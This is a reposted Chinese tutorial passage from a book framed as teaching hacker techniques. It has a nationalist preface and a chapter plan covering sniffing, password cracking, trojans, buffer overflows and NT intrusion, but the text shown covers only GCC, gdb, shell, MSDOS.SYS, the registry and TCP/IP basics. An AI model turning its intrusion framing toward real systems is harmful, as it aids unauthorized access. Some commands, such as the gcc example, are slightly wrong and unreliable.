linux技术基础教程 [转载]

转载,原文位置:http://www.sunsway.net/fly/cgi-bin/topic.cgi?forum=8&topic=299&show=0

前言
  1999年7月6日《参考消息》:
  【英国〈星期日电讯报〉7月4日文章】题:克林顿下令通过“电脑破坏行动”来推翻塞尔维亚领导人(记者 菲力普•舍卫尔 萨沙•尼科利茨 朱利叶斯•斯特劳斯)
  克林顿总统已经命令美国政府的电脑黑客冲破障碍,查到米洛舍维奇在外国银行里的存款,并抽走他隐藏的财富,这是美国中央情报局旨在推翻南斯拉夫总统秘密计划的一部分。
  这一有争议的行动计划是克林顿上周批准的共有6点内容的一揽子秘密计划的部分内容。华盛顿政界和情报界一些高级人士反对这一行动计划。
  虽说2日晚上有5000多人在诺维萨德举行反米洛舍维奇的最新一次集会,但是,贝尔格莱德的反对派内部四分五裂促使华盛顿亲自出马,发起旨在推翻米洛舍维奇的“电脑破坏” 行动。去年,五角大楼为海、陆、空增添了电脑空间,作为第四战区,并建立了一个主管情报战事务的机构。
  美国中央情报局认为,米洛舍维奇在其执政的10年期间向希腊、塞普路斯和俄罗斯银行转移了数以百万计英镑的钱财,因此得在这些银行进行调查。但是,一些情报官员担心,对塞尔维亚领导人米洛舍维奇数以百万计钱财采取这样的行动会对美国产生不利的后果,一些独立的黑客会向华盛顿的敌人出售他们的技术,从而使华盛顿的计算机系统成为他们进行破坏和非法抽取钱款的目标。
  另外,此举在政治上也引起人们的关切和担心,这会影响到希腊和俄罗斯的主权,美国的外交官们在美俄两国就科索沃问题发生争执后刚刚在两国之间重新架起桥梁。
  单是这条新闻,或许并没有给你太多的感想。但如果同时,把中国驻南斯拉夫大使馆被轰炸的事件联系在一起,或许会促使你更深层次地来分析这条新闻。
  南斯拉夫无奈地从科索沃撤军,是因为军事力量,特别是当代高科技军事力量的薄弱,所以受到了欺负。同样,由于信息技术的落后,南斯拉夫又受到了欺负。随着信息时代的到来,信息技术越来越显得重要,信息技术也能影响一个国家的安全。入侵总统银行帐号只是信息战争的小手段,如果利用各种技术,破坏一个国家的各种计算机网络,绝对会使这个国家的商业经济,国家安全受到影响。信息技术为军事战争开辟了另外一个战场。如果一个国家的信息技术落后,同样会受到侵略。
  我国驻南斯拉夫大使馆被轰炸,里面或多或少有点我国的军事力量不是很强大的因素在里面。那么如果,信息技术也大大落后与别国,是不是也存在国家安全问题。
  回想一下5-60年代,我国自行研制两弹一星时的情形。这些巨大成就为当时我国立足于世界提供了什么样的支持。从那时侯起,没有哪一个国家敢小看我们中国的力量。
  民族信息产业应该放到一个很重要的战略地位。过去是原子弹,氢弹,现在应该是高速计算能力,应该是现代化信息生产能力。
  如果我们的各种计算机系统用的是进口的CPU,进口的操作系统,进口的办公软件,是不是到时候会被别人牵着鼻子走呢。
  我们要象那些为两弹一星做出贡献的老科学家们一样,努力创造,发展民族信息产业。也希望民族信息产业能实现现代化,面向世界,大踏步走出去,屹立于世界。
  (作者以前工作在一个高科技军事单位,为有幸能和这些为祖国争光的老前辈们同处一室而感到高兴。这些前辈的默默无闻的奉献精神,关心爱护年轻人的成长的胸怀,一直深深地印在我的脑海里。)
  另外一个结论就是,我们应该正视黑客技术。
  由于媒体的炒作,有关黑客的新闻给大众造成了一种对黑客技术不屑一顾,认为黑客是一类卑鄙下流的人的情况。有的商业公司甚至抓住大多数人不懂计算机技术这一特点,歪曲这些技术,误导大众,从而大赚其钱。
  其实,黑客技术并不下流,也并不深奥。相反,黑客技术是网络安全技术的一部分。或者就可以认为就是网络安全技术。从反面说就是黑客技术,从正面说就是网络安全技术。
  这种技术被不法之人用了,当然要遭到谴责。但如果因为这种技术会引来犯罪而不准研究和介绍,也是不正确的。我们应该推广介绍这些技术,这样才能使我们对网络安全有更深的理解,从更深层次地提高网络安全。
  我们要善用这种技术,加强这些技术的研究。
  本书试图对各种网络安全技术(黑客技术)进行介绍,分析原理和提供基本实现方法。
  要想对网络安全技术有一个很深的研究,必须具备一些必要的知识。本书的前三章提供了一些操作系统,编程方法,网络协议和网络编程等基本概念。为以后各章打下良好的基础。在操作系统一章中介绍了Linux上的编程。因为Linux操作系统对网络通信做了很好的支持,而且带了gcc编译器和gdb调试器,是最佳选择。在Linux上编写的C程序可以很短小,代码执行效率也很高。第二章介绍了TCP/IP协议。对IP和TCP的数据包格式作了简单的介绍。另外将了TCP连接的三次握手。许多威胁网络安全的技术都是对协议的弱点的攻击。第三章介绍了网络编程。因为,在测试一个网络是否安全的时候,通常需要编个程序来完成一个特殊的测试工作。
  接下来是介绍根据TCP/IP协议进行的攻击。IP地址欺骗和TCP/IP协议攻击都是根据协议的弱点进行。
  接下来的几章介绍了进行攻击的方法。Sniffer一章介绍了Sniffer的工作原理,通过利用sniffer,能收集到许多有用的信息。端口扫描一章除了介绍一些常用的网络命令外,还介绍了端口扫描的几种技术。通过端口扫描也能收集到相当丰富和有用的信息。口令破解一章讲解了口令破解器的工作机理。口令破解是侵入一个系统的比较常用的方法。特洛伊木马是侵入系统后留下的后门,为以后能再进入目标系统做准备。随后,介绍了缓冲区溢出攻击方法。这通常也很常用,很重要的攻击方法。书中对它的原理作了较为详细地介绍。
  再下来对攻击步骤作了一个总结,并介绍了怎样入侵Windows NT。对前面介绍的方法的综合利用做了介绍。
  最后,介绍了计算机病毒的原理和防范以及Perl语言。
  在每章,为了对某个原理进行介绍,在原理介绍后,基本上还提供一些简单的源代码程序。这里的程序大多数是由C写的Linux程序。
  由于作者不是专业人士,水平有限,同时成书仓促,书中错误相当多。希望能得到批评指正,以便将来整理得更好。书中所有内容都来自Internet,只是略微加工整理。本书的最终目的是想让大家正确看待黑客技术,说明黑客技术并不是象许多媒体描述的那样高深莫测。
  此书仅作抛砖引玉之用。

作者电子邮件地址:[email protected] ICQ#:27771117

第一章
操作系统简介
本章主要介绍几个目前常见的操作系统。首先介绍Linux系统,一个自由软件。Linux对网络通信有很好的支持,在介绍网络安全技术时,对网络技术进行实例时,没有Linux是不可能。
随后对Windows 9x的Msdos.sys的设置以及Windows NT中的注册表作了介绍。在理解安全技术时,这些也是最基本的。
第一节  Linux
一  Linux下的C++编程
ELF和a.out
  在Linux下,有两种可执行文件:ELF和a.out。有可能你的Linux只支持一种,有可能两种都支持。运行一下命令file,如果命令输出包含ELF,则支持ELF,如果包含Linux/i386,则支持a.out。

GCC版本
  使用下面命令,可以知道它的版本:
gcc -v

GCC安装后目录结构
  /usr/lib/gcc-lib/target/version/ (及子目录) 编译器就在这个目录下。
  /usr/bin/gcc可以从命令行执行的二进制程序在这个目录下。
  /usr/target/(bin|lib|include)/ 库和头文件在这个目录下。
  /lib/,/usr/lib和其他目录,系统的库在这些目录下。

符号定义
  使用-V开关,就能看到GCC定义的符号。参见下列实例:
  $ echo 'main(){printf("hello world/n");}' | gcc -E -v -
   Reading specs from /usr/lib/gcc-lib/i486-box-linux/2.7.2/specs
   gcc version 2.7.2
  /usr/lib/gcc-lib/i486-box-linux/2.7.2/cpp -lang-c -v -undef
   -D__GNUC__=2 -D__GNUC_MINOR__=7 -D__ELF__ -Dunix -Di386 -Dlinux
  -D__ELF__ -D__unix__ -D__i386__ -D__linux__ -D__unix -D__i386
  -D__linux -Asystem(unix) -Asystem(posix) -Acpu(i386)
  -Amachine(i386) -D__i486__ -

GCC编译器使用简介
  通常后跟一些选项和文件名来使用 GCC 编译器。gcc 命令的基本用法如下:
  gcc [options] [filenames]
  选项指定编译器怎样进行编译。

GCC选项
  GCC 有100个编译选项。这些选项中的许多可能永远都不会用到,但一些主要的选项会经常遇到。很多的 GCC 选项包括一个以上的字符,因此必须为每个选项指定各自的连字符。例如, 下面的两个命令是不同的:
  gcc -p -g test.c
  gcc -pg test.c
  第一条命令告诉 GCC 编译 test.c 时为 prof 命令建立剖析(profile)信息并且把调试信息加入到可执行的文件里。 第二条命令只告诉 GCC 为 gprof 命令建立剖析信息。
  没有选项时,GCC 会生成一个名为 a.out 的可执行文件。
  用 -o 编译选项来为将产生的可执行文件用指定的文件名来命名。例如, 将一个叫 count.c 的 C 程序编译为名叫 count 的可执行文件, 要这样输入命令:
  gcc -o count count.c
  -c 选项告诉 GCC 仅把源代码编译为目标代码。缺省时 GCC 建立的目标代码文件有一个 .o 的扩展名。
  -S 编译选项告诉 GCC 在为 C 代码产生了汇编语言文件后停止编译。 GCC 产生的汇编语言文件的缺省扩展名是 .s 。
  -E 选项指示编译器仅对输入文件进行预处理。当这个选项被使用时, 预处理器的输出被送到标准输出而不是储存在文件里.
  用 GCC 编译 C 代码时, 它会试着用最少的时间完成编译并且使编译后的代码易于调试。 易于调试意味着编译后的代码没有经过优化。必要时,需要让编译器对代码进行优化。
  -O 选项告诉 GCC 对源代码进行基本优化。这些优化在大多数情况下都会使程序执行的更快。 -O2 选项告诉 GCC 产生尽可能小和尽可能快的代码。 -O2 选项将使编译的速度比使用 -O 时慢, 但通常产生的代码执行速度会更快。
  GCC 支持数种调试和剖析选项,常用到的是 -g 和 -pg 。
  -g 选项告诉 GCC 产生能被 GNU 调试器使用的调试信息以便调试你的程序。GCC 提供了一个很多其他 C 编译器里没有的特性, 在 GCC 里你能使 -g 和 -O (产生优化代码)联用。
  -pg 选项告诉 GCC 在编译好的程序里加入额外的代码。运行程序时, 产生 gprof 用的剖析信息以显示你的程序的耗时情况。

用 gdb 调试 GCC 程序
  Linux 包含了一个叫 gdb 的 GNU 调试程序。在程序运行时能观察程序的内部结构和内存的使用情况。 以下是 gdb 所提供的一些功能:
  监视程序中变量的值
  设置断点,使程序在指定的代码行上停止执行。
  一行行的执行代码

  为了用GDB调试程序,在编译是必须指定调试选项。在命令行上键入 gdb 并按回车键就可以运行 gdb 了。如果一切正常的话, gdb 将被启动并在屏幕上显示:
  GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions.
  There is absolutely no warranty for GDB; type "show warranty" for details.
  GDB 4.14 (i486-slakware-linux), Copyright 1995 Free Software Foundation, Inc.
  (gdb)

  可以在启动GDB时,加入许多选项。也可以在这个命令后面直接指定要调试的程序。
gdb < fname>

gdb 基本命令
gdb 支持很多的命令,这些命令从简单的文件装入到允许检查所调用的堆栈内容的复杂命令。下表列出了你在用 gdb 调试时会用到的一些命令。

命令 描 述
file 装入想要调试的可执行文件
kill 终止正在调试的程序
list 列出产生执行文件的源代码的一部分
next 执行一行源代码但不进入函数内部
step 执行一行源代码而且进入函数内部
run 执行当前被调试的程序
quit 终止 gdb
watch 使你能监视一个变量的值而不管它何时被改变
break 在代码里设置断点, 这将使程序执行到这里时被挂起
make 使你能不退出 gdb 就可以重新产生可执行文件
shell 使你能不离开 gdb 就执行 UNIX shell 命令

gdb 应用举例
  下面列出了将被调试的程序,这个程序被称为 greeting ,显示一个简单的问候, 再用反序将它列出。

#include < stdio.h>
main ()
{
char my_string[] = "hello there";

my_print (my_string);
my_print2 (my_string);
}

void my_print (char *string)
{
printf ("The string is %s/n", string);
}

void my_print2 (char *string)
{
char *string2;
int size, i;
size = strlen (string);
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size - i] = string[i];
string2[size+1] = `/0';
printf ("The string printed backward is %s/n", string2);
}

  用下面的命令编译这个程序:
    gcc -o -g test test.c
  运行编译好的程序,显示如下:
    The string is hello there
    The string printed backward is
  输出的第一行是正确的, 但第二行打印出的东西并不是我们所期望的。我们所设想的输出应该是:
    The string printed backward is ereht olleh
  由于某些原因, my_print2 函数没有正常工作。用 gdb 看看问题究竟出在哪儿, 先键入如下命令:
    gdb greeting
  如果在输入命令时忘了把要调试的程序作为参数传给 gdb ,可以在 gdb 提示符下用 file 命令来载入它:
    (gdb) file greeting
  这个命令载入 greeting 可执行文件,就象在 gdb 命令行里指定启动gdb装入它一样。
  这时就能用 gdb 的 run 命令来运行 greeting 了。 当它在 gdb 里被运行后结果大约会象这样:
  (gdb) run
  Starting program: /root/greeting
  The string is hello there
  The string printed backward is
  Program exited with code 041
  
  这个输出和在 gdb 外面运行的结果一样。问题是, 为什么反序打印没有工作? 为了找出症结所在, 我们可以在 my_print2 函数的 for 语句后设一个断点, 具体的做法是在 gdb 提示符下键入 list 命令三次, 列出源代码:
  (gdb) list
  (gdb) list
  (gdb) list

  第一次键入 list 命令的输出如下:
  1 #include < stdio.h>
  2
  3 main ()
  4 {
  5 char my_string[] = "hello there";
  6
  7 my_print (my_string);
  8 my_print2 (my_string);
  9 }
  10

  如果按下回车, gdb 将再执行一次 list 命令, 给出下列输出:
  11 my_print (char *string)
  12 {
  13 printf ("The string is %s/n", string);
  14 }

  15
  16 my_print2 (char *string)
  17 {
  18 char *string2;
  19 int size, i;
  20

  再按一次回车将列出 greeting 程序的剩余部分:
  21 size = strlen (string);
  22 string2 = (char *) malloc (size + 1);
  23 for (i = 0; i < size; i++)
  24 string2[size - i] = string[i];
  25 string2[size+1] = `/0';
  26 printf ("The string printed backward is %s/n", string2);
  27 }

  根据列出的源程序, 你能看到要设断点的地方在第24行, 在 gdb 命令行提示符下键入如下命令设置断点:
    (gdb) break 24
  该命令的执行结果如下:
    Breakpoint 1 at 0x139: file greeting.c, line 24
    (gdb)
  现在再键入 run 命令, 将产生如下的输出:
    Starting program: /root/greeting
    The string is hello there
    Breakpoint 1, my_print2 (string = 0xbfffdc4 "hello there") at greeting.c :24
24 string2[size-i]=string[i]
  你能通过设置一个观察 string2[size - i] 变量的值的观察点来看出错误是怎样产生的, 做法是键入:
    (gdb) watch string2[size - i]
  执行结果如下:
    Watchpoint 2: string2[size - i]
  现在可以用 next 命令来一步步的执行 for 循环了:
    (gdb) next
  经过第一次循环后, gdb 告诉我们 string2[size - i] 的值是 `h`。这是执行next命令后的结果:
  Watchpoint 2, string2[size - i]
  Old value = 0 `/000'
  New value = 104 `h'
  my_print2(string = 0xbfffdc4 "hello there") at greeting.c:23
  23 for (i=0; i< size; i++)

  这个值正是期望的。后来的数次循环的结果都是正确的。当 i=10 时, 表达式 string2[size - i] 的值等于 `e`, size - i 的值等于 1, 最后一个字符已经拷到新串里了。
  如果再把循环执行下去,会看到已经没有值分配给 string2[0] 了, 而它是新串的第一个字符, 因为 malloc 函数在分配内存时把它们初始化为空(null)字符。所以 string2 的第一个字符是空字符。于是就发现了为什么在打印 string2 时没有任何输出了.
  找出了问题出在哪里后, 修正这个错误是很容易的。把代码里写入 string2 的第一个字符的的偏移量改为 size - 1 而不是 size。这是因为 string2 的大小为 12, 但起始偏移量是 0, 串内的字符从偏移量 0 到 偏移量 10, 偏移量 11 为空字符保留。
  为了使代码正常工作有很多种修改办法. 。一种是另设一个比串的实际大小小 1 的变量,下面是这种办法的程序。
#include < stdio.h>
main ()
{
char my_string[] = "hello there";
my_print (my_string);
my_print2 (my_string);
}
my_print (char *string)
{
printf ("The string is %s/n", string);
}
my_print2 (char *string)
{
char *string2;
int size, size2, i;
size = strlen (string);
size2 = size -1;
string2 = (char *) malloc (size + 1);
for (i = 0; i < size; i++)
string2[size2 - i] = string[i];
string2[size] = `/0';
printf ("The string printed backward is %s/n", string2);
}
二 Linux SHELL编程
  SHELL编程是指写一个包含一系列UNIX命令的程序,这个程序可以在命令行运行。用下面的命令何以执行一个SHELL程序:
方式一
$ sh cmd.file
方式二
$ . cmd.file;
方式三
$ chmod u+x cmd.file
$ cmd.file

怎样创建和运行一个SHELL脚本
  在一个编辑器里,写入一系列UNIX命令,举个例子:
    echo This is a shell program
    echo Today I am going to
    echo $1 $2 $3 $4 $5 $6 $7 $8 $9
  保存这个文件,命名为ex1。然后用下列命令“chmod 700 ex1”,将该文件变为可执行文件。做完上述个步骤之后,就好了。如果要看运行这个文件会出现什么结果,可以在命令行状态下键入:ex1 coffee bar in hangzhou。
  上述程序中最后一行就是将ex1命令中的单词读入内存,同样将第二个等等。$1代表第一个单词,$2代表第二个。
  可见,SHELL程序的目的是能批量处理命令,从而完成一些比较复杂的工作。
  不同的SHELL有不同的启动文件,比如:
  bash: .profile
  sh: .profile
  csh: .cshrc
  tcsh: .cshrc
   zsh: $ZDOTDIR/.zprofile and/or $ZDOTDIR/.zshrc
  所有的这些启动文件都要读入.login和.logout文件。

SHELL程序设计
注释
操作符“#"引入注释。
if 操作符
语法
if [ 条件表达式 ]
then
命令序列
fi

if [ 条件表达式 ]
then
命令序列
else
命令序列
fi
数值操作符
= 等于
-n 不等于
-gt 大于
-lt 小于
-le 小于等于
exit 命令
用于结束SHELL脚本。可以带一个返回值。
expr 命令
以数值和算术运算符作为参数,计算结果,将其返回标准输出。
$ expr 4 + 5
9
$
合法算术运算符有+、-、*、/和%。在*和/之前必须冠以反斜线,已防被SHELL先行解释。
for 操作符
循环语句。
语法:
for $环境变量 in 字符串表
do
语句序列
done
while 操作符
循环语句。
语法:
while [ 条件表达式 ]
do
语句序列
done
case 操作符
条件控制语句。
语法:
case $环境变量 in
常量1)
语句序列1
;;
常量2)
语句序列2
;;
... ...
常量n)
语句系列n
;;
esac
命令行变元
$# 传入脚本的命令行变元数;
$* 所有命令行变元值;
位置变元
$0 命令本身
$1 第一个命令行变元;
$2 第二个命令行变元
SHELL函数
shell函数由以下形式定义
funcname () {
命令序列
}
调用时
funcname arg1 arg2
第二节 Windows 98
Windows 98 MSDOS.SYS的设置和编辑
  Windows 98 的安装程序会在根目录中建立一个叫MSDOS.SYS 的文件,并且设定其属性为只读,系统和隐藏。这个文件不像MS-DOS的开机文件MSDOS.SYS。这个文件只是一个普通文本文件。包含了两个段落——[Paths]和[Options]。可以修改这个文件,来改变系统的一些属性。
   [Paths]段列出了Windows 95其它文件的位置(如注册文件等)。[Options]段则使你可以用来设定自己的喜欢的开机模式。

  简介如下:
1. [Paths] 段的设置
----------------------------------------------------------------------
HostWinBootDrv=< 开机驱动器>
预设值: C
目的:  指定所要开机的驱动器 
----------------------------------------------------------------------
WinBootDir=< Windows所在目录>
预设值: 安装时所指定的目录(例如C:/WINDOWS)
目的:  列出开机时所需要的文件位置 
----------------------------------------------------------------------
WinDir=< Windows 所在目录>
预设值: 安装时所指定的目录(例如  C:/WINDOWS)
目的:  列出安装时所指定的Windows 95目录位置 

2. [Options]段包含下列设置,必须手动加入 
----------------------------------------------------------------------
BootDelay=< 秒数>
预设值: 2
目的:  设定Windows 95开机前显示“Starting Windows 95"这个信息的时间长度 
----------------------------------------------------------------------
BootFailSafe=< Boolean>
预设值: 0
目的:  设为1时,使电脑开机时进入安全模式 
----------------------------------------------------------------------
BootGUI=< Boolean>
预设值: 1
目的:  设为1时,系统自动进入GUI界面(就是进Windows 95)
     设为0时,系统自动进入DOS界面(也就是进到C:>) 
----------------------------------------------------------------------
BootKeys=< Boolean>
预设值: 1
目的:  设为1时,开机时可使用功能键(如F4、F5、F6和F8) 
     设为0时,则禁止使用 
注意:  当设BootKeys=0时,BootDelay=n无效 
----------------------------------------------------------------------
BootMenu=< Boolean>
预设值: 0
目的:  设为1时,开机时自动进入startup menu 
     设为0时,必须在开机显示“Starting Windows 95"时按F8,才能进入startup menu 
----------------------------------------------------------------------
BootMenuDefault=< Number>
预设值: 1  如果系统正常运作的话 
     4  如果系统在前一次运行时发生硬关机的话 
目的:  预设系统启动时进入startup menu时,默认要继续的那一项 
----------------------------------------------------------------------
BootMenuDelay=< Number>
预设值: 30
目的:  设定系统启动时,startup menu的等待秒数,如果这个值减到0,你没有
选择菜单时,系统按照 BootMenuDefault的值启动系统
----------------------------------------------------------------------
BootMulti=< Boolean>
预设值: 0
目的:  设为0时,关掉多重开机的功能(例如:设定为0时不能用前一个操作系统开机)
     设为1时,允许使用F4和F8来选择使用前一个操作系统开机 
注意:  预设值设为0,是为了避免文件错误。因为使用者会无意中使用MS-DOS开机,并使用不认识长文件名的DOS工具程序 
----------------------------------------------------------------------
BootWarn=< Boolean>
预设值: 1
目的:  设为0时,关掉安全模式开机时的警告讯息和startup menu 
----------------------------------------------------------------------
BootWin=< Boolean>
预设值: 1
目的:  设为1时,开机后马上执行Win95 
     设为0时,不会在开机后马上执行Win95。当然你的系统必须有MS-DOS 5.x 或 6.x 
注意:  当BootMulti=1时,按F4则会使这里的设定变成相反的作用。例如BootWin=0时,如果BootMulti=1,则按F4就会强迫开机后执行Win95 
----------------------------------------------------------------------
DoubleBuffer=< Boolean>
预设值: 0
目的:  设为1时,提供Double-buffer功能。如果你的controller需要的话,如SCSI Controller 
    设为2时,则是无条件使用double-buffer功能,不管你的controller 是否需要 
----------------------------------------------------------------------
DBLSpace=< Boolean>
预设值: 1
目的:  设为1时,自动载入DBLSPACE.BIN 
     设为0时,不会自动载入 
----------------------------------------------------------------------
DRVSpace=< Boolean>
预设值: 1
目的:  设为1时,自动载入DRVSPACE.BIN 
     设为0时,不会自动载入
----------------------------------------------------------------------
LoadTop=< Boolean>
预设值: 1
目的:  设为0时,要求Win95不要将COMMAND.COM、DRVSAPCE.BIN和DBLSPACE.BIN载入UMB。如果你使用的软件有兼容问题时,可以考虑将此设为0 
----------------------------------------------------------------------
Logo=< Boolean>
预设值: 1
目的:  设为1时,强迫Win95显示预设的启动画面 
     设为0时,避免显示Win95启动画面 

3. MSDOS.SYS的重要性 
  MSDOS.SYS文件包含一些表面上看起来没有用的信息。其实,这些信息对某些软件是必需的。这些软件认为这个文件大小至少需1024 bytes。例如,如果防毒软体检测到MSDOS.SYS这个文件小于1024 bytes,则 它会认为这个文件已经遭到破坏。因此在这个文件后面一段说明文字:“;The following lines are required for compatibility with other programs. ;Do not remove them (MSDOS.SYS needs to be >1024 bytes)."。“ ;"是说明的意思,系统不会读取这段文字。在这段文字下就出现一堆 "X"。 
4. 如何编辑MSDOS.SYS
  编辑MSDOS.SYS的步骤如下:
   (1)修改MSDOS.SYS的文件属性:attrib -s -h -r c:/msdos.sys。
   (2)用Notepad编辑这个文件,并保存。
   (3)再将文件属性改回去:attrib +s +h +r c:/msdos.sys。
第三节 Windows NT
Windows NT注册表
  注册表提供了一个安全,统一的数据库,用来以一个层次结构来保存配置信息。注册表中的每一个主键和一个.INI文件中的用方括号括住的条目一样。
  .INI文件的一个缺点就是不支持条目的嵌套,以及包含非纯文本信息。注册表的主键能包含嵌套的付键。这些付键为配置系统提供了进一步详细的信息。注册表的值可以包含可执行代码,并同时为在同一计算机上的多个用户提供配置。
  有两个版本的注册表编辑器,可以用来修改注册表。
  .:Regedt32.exe 包含了大多数菜单项和它们的选择。可以在注册表里查找主键和付键。
  .:Regedit.exe 可以查找字符串,值,主键和付键。
  为了便于使用,注册表分成了五个独立的部分。这些都叫做主键。

HKEY_CURRENT_USER
  这里包含了当前登录的用户的一些配置信息。用户的文件夹,屏幕颜色,控制面板设置都保存在这里。这些都是用户相关信息。

HKEY_USERS
  在NT 3.5版本,用户相关信息存在systemroot/system32/config目录。在NT 4.0,它们存在systemroot/profiles目录。用户特有信息和系统用户共有的信息都存在那里。
  这里的改变是为了和Windows 95处理用户信息方法保持并行。在新版本的NT里,单个用户的信息被分成几个部分,放在/profiles的不同的子目录下。这样做的一个原因是,Win95和NT操作系统使用地层的目录结构形成他们新用户界面。
  一个用户信息包含在NTUser.dat(和NTUser.dat.log)文件和下面的目录里:
* Application Data:保存这个用户的应用程序信息。
* Desktop:放一个文件的图标或快捷方式,使得这些东西能在用户桌面上显示。
* Favorites:提供给用户放置他个人的一些保存内容,如文件,快捷方式和其他信息。
* NetHood::保存个人的有关网络连接的信息。
* Personal:为一个指定用户保存个人文档的跟踪。
* PrintHood:保存的是打印机的使用。
* Recent:最近使用的东西
* SendTo:提供一个对输出设备的统一存储。
* Start Menu:用户菜单的设置。
* Templates:放置文档的模板。

HKEY_LOCAL_MACHINE
  这个主键包含有关计算机的特殊信息。这些信息存放在systemroot/system32/config目录下,作为操作系统的永久文件,除了一些易变的硬件主键。
  应用程序,设备驱动程序和NT操作系统从这些配置文件里读入信息。操作系统用这些信息来决定系统的配置,而不管是哪个用户在使用这个系统。正是因为这个原因,对于系统管理员来讲,HKEY_LOCAL_MACHINE是相当重要的。
  HKEY_LOCAL_MACHINE包括五个付键:
* Hardware:描述计算机硬件,硬件驱动程序怎样使用硬件,映象和连接内核模式驱动程序和各种用户模式数据的数据库。所有这些数据在系统启动时重新建立。
* SAM:安全帐号管理。在NT 4服务器域,用户和组帐号的安全管理。
* Security:包括本地安全策略,比如特定用户的权限的数据库。
* Software:应用软件的安装和配置信息数据库。
* System:控制系统启动,驱动程序装入,NT服务和操作系统行为的数据库。

HKEY_LOCAL_MACHINE/SAM的有关信息
  这个子树包含了本地计算机的SAM数据库中的用户和组帐号。对于NT 4.0,还包含了域的安全信息。SAM注册键包含的信息是User Manager 工具里显示的信息,或者是你使用NT 4 的资源管理器的安全菜单命令所显示的用户和组。

KEY_LOCAL_MACHINE/Security的有关信息
  这个子树包含本地计算机的安全信息。包括以下方面:分配用户权限,建立口令策略,本地组的成员,都是由User Manager 配置的。

HKEY_CLASSES_ROOT
  保存在这里的信息是在使用资源管理器或者对象联结和嵌入时,打开一个文件时能调用正确的应用程序。

HKEY_CURRENT_CONFIG
  这里保存的数据是用来进行配置,比如软件和驱动程序的载入或显示时使用的分辨率。这个主键有两个付键:software和system,他们保持对配置信息的跟踪。

理解Hives
  注册表分成叫做hives的部分。这些hives和一个单独的文件及严格lOG文件对应。这些文件在systemroot/system32/config目录下。
Registry Hive File Name
=================================================================
HKEY_LOCAL_MACHINE/SAM SAM 和SAM.LOG
HKEY_LOCAL_MACHINE/SECURITY Security 和 Security.LOG
HKEY_LOCAL_MACHINE/SOFTWARE Software 和 Software.LOG
HKEY_LOCAL_MACHINE/SYSTEM System 和 System.ALT
=================================================================

注释
  Ownership = 选择ownership菜单项会出现一个对话框,显示所选择的注册键的拥有者的名字。键的拥有者允许另一个用户拥有这个键。管理员可以指定一个用户拥有这个Ownership,或自己直接操作。
  REGINI.EXE = 这是一个文本的控制台应用程序,通过她,可以将一个注册表脚本中的键加入到注册表中。
  下面的表列出了注册表hives和付键及缺省的存取权限。
   // 表示一个主要hive
   / 表示一个付键

//HKEY_LOCAL_MACHINE
Admin-Full Control
Everyone-Read Access
System-Full Control

/HARDWARE
Admin-Full Control
Everyone-Read Access
System-Full Control

/SAM
Admin-Full Control
Everyone-Read Access
System-Full Control

/SECURITY
Admin-Special (Write DAC, Read Control)
System-Full Control

/SOFTWARE
Admin-Full Control
Creator Owner-Full Control
Everyone-Special (Query, Set, Create, Enumerate, Notify, Delete, Read)
System-Full Control

/SYSTEM
Admin-Special (Query, Set, Create, Enumerate, Notify, Delete, Read)
Everyone-Read Access
System-Full Control

//HKEY_CURRENT_USER
Admin-Full Control
Current User-Full Control
System-Full Control

//HKEY_USERS
Admin-Full Control
Current User-Full Control
System-Full Control

//HKET_CLASSES_ROOT
Admin-Full Control
Creator Owner-Full Control
Everyone-Special (Query, Set, Create, Enumerate, Notify, Delete, Read)
System-Full Control

//HKEY_CURRENT CONFIG
Admin-Full Control
Creator Owner-Full Control
Everyone-Read Access
System-Full Control

第二章
 TCP/IP协议介绍
第一节 TCP/IP协议简介
什么是TCP/IP?
  TCP协议和IP协议指两个用在Internet上的网络协议(或数据传输的方法)。它们分别是传输控制协议和互连网协议。这两个协议属于众多的TCP/IP 协议 组中的一部分。
  TCP/IP协议组中的协议保证Internet上数据的传输,提供了几乎现在上网所用到的所有服务。这些服务包括:
  电子邮件的传输
  文件传输
  新闻组的发布
  访问万维网

在TCP/IP协议组分两种协议:
  网络层的协议
  应用层的协议

网络层协议
  网络层协议管理离散的计算机间的数据传输。这些协议用户注意不到,是在系统表层以下工作的。比如,IP协议为用户和远程计算机提供了信息包的传输方法。它是在许多信息的基础上工作的,比如说是机器的IP地址。在机器IP地址和其它信息的基础上,IP确保信息包能正确地到达目的机器。通过这一过程,IP和其它网络层的协议共同用于数据传输。如果没有网络工具,用户就看不到在系统里工作的IP。

应用层协议
  相反地,应用层协议用户是可以看得到的。比如,文件传输协议(FTP)用户是看得到的。用户为了传输一个文件请求一个和其它计算机的连接,连接建立后,就开始传输文件。在传输时,用户和远程计算机的交换的一部分是能看到的。

  请记住这句总结性的话:TCP/IP协议是指一组使得Internet上的机器相互通信比较方便的协议。

TCP/IP是如何工作的?
TCP/IP通过使用协议栈工作。这个栈是所有用来在两台机器间完成一个传输的所有协议的几个集合。(这也就是一个通路,数据通过它从一台机器到另一台机器。)栈分成层,与这里有关的是五个层。学习下面的图可以对层有个概念。

  在数据通过图示的步骤后,它就从网络中的一台机器传到另一台机器了。在这个过程中,一个复杂的查错系统会在起始机器和目的机器中执行。
  栈的每一层都能从相邻的层中接收或发送数据。每一层都与许多协议相联系。在栈的每一层,这些协议都在起作用。本章的下一部分将分析这些服务,以及它们在栈中是如何联系的。同时也分析一下它们的功能,它们提供的服务和与安全性的关系。

协议简介
  已经知道数据是怎样使用TCP/IP协议栈来传输的了。现在仔细分析在栈中所用到的关键的协议。先从网络层的协议开始。

网络层协议
  网络层协议是那些使传输透明化的协议。除了使用一些监视系统进程的工具外,用户是看不见这些协议的。
  Sniffers是能看到这些步骤的装置。这个装置可以是软件,也可以是硬件,她能读取通过网络发送的每一个包。Sniffers广泛地用于隔离用户看不到的、网络性能下降的问题。sniffers能读取发生在网络层协议的任何活动。而且,正如你已经猜到的,sniffers会对安全问题造成威胁。参见Sniffers一章。
  重要的网络层协议包括:
   地址解析协议(ARP)
   Internet控制消息协议(ICMP)
   Internet协议(IP)
   传输控制协议(TCP)
  下面仅仅简单介绍一下。
地址解析协议ARP
  地址解析协议的目的是将IP地址映射成物理地址。这在使信息通过网络时特别重要。在一个消息(或其他数据)发送之前,被打包到IP包里,或适合于Internet传输的信息块。这包括两台计算机的IP地址。在这个包离开发送计算机之前,必须要找到目标的硬件地址。这就是ARP最初用到的地方。
  一个ARP请求消息在网上广播。请求由一个进程接收,它回复物理地址。这个回复消息由原先的那台发送广播消息计算机接收,从而传输过程就开始了。
